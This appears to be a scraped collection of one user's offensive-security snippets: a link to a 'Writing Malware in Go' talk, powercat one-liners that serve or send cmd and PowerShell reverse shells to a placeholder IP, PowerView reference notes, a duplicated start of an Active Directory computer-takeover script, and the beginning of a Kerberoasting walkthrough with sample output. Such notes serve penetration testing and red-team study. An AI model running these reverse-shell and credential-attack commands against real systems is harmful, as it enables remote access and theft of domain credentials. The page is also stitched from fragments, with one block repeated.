iansecretario

Hands-on Writing Malware in Go Links

• Slides
• Video

Who we Are

Stuart McMurray:

• @magisterquis

iansecretario

Serve a cmd Shell:
    powercat -l -p 443 -e cmd
Send a cmd Shell:
    powercat -c <REPLACE IP ADDRESS> -p 443 -e cmd
Send a powershell:
    powercat -c <REPLACE IP ADDRESS> -p 443 -ep
Send a powershell UDP:
    powercat -c <REPLACE IP ADDRESS> -p 443 -ep -u
TCP Listener to TCP Client Relay:
    powercat -l -p 8000 -r tcp:<REPLACE IP ADDRESS>6:443

iansecretario

# PowerView's last major overhaul is detailed here: http://www.harmj0y.net/blog/powershell/make-powerview-great-again/
#   tricks for the 'old' PowerView are at https://gist.github.com/HarmJ0y/3328d954607d71362e3c

# the most up-to-date version of PowerView will always be in the dev branch of PowerSploit:
#   https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1

# New function naming schema:
#   Verbs:
#       Get : retrieve full raw data sets
#       Find : ‘find’ specific data entries in a data set

iansecretario

# import the necessary toolsets
Import-Module .\powermad.ps1
Import-Module .\powerview.ps1

# we are TESTLAB\attacker, who has GenericWrite rights over the primary$ computer account
whoami

# the target computer object we're taking over
$TargetComputer = "primary.testlab.local"

iansecretario

# import the necessary toolsets
Import-Module .\powermad.ps1
Import-Module .\powerview.ps1

# we are TESTLAB\attacker, who has GenericWrite rights over the primary$ computer account
whoami

# the target computer object we're taking over
$TargetComputer = "primary.testlab.local"

iansecretario

101 Kerberoasting Powerview & Mimikatz 

1. Look for a service that is running with user account and take note of the "ServicePrincipalName"
Get-NetUser -SPN

Samnple Output : 
<---Guidem snip--->
serviceprincipalname  : MSSQLSvc/guidem.kingdom.local           < look for this
givenname             : guidemsql
lastlogon             : 4/6/2020 12:38:15 AM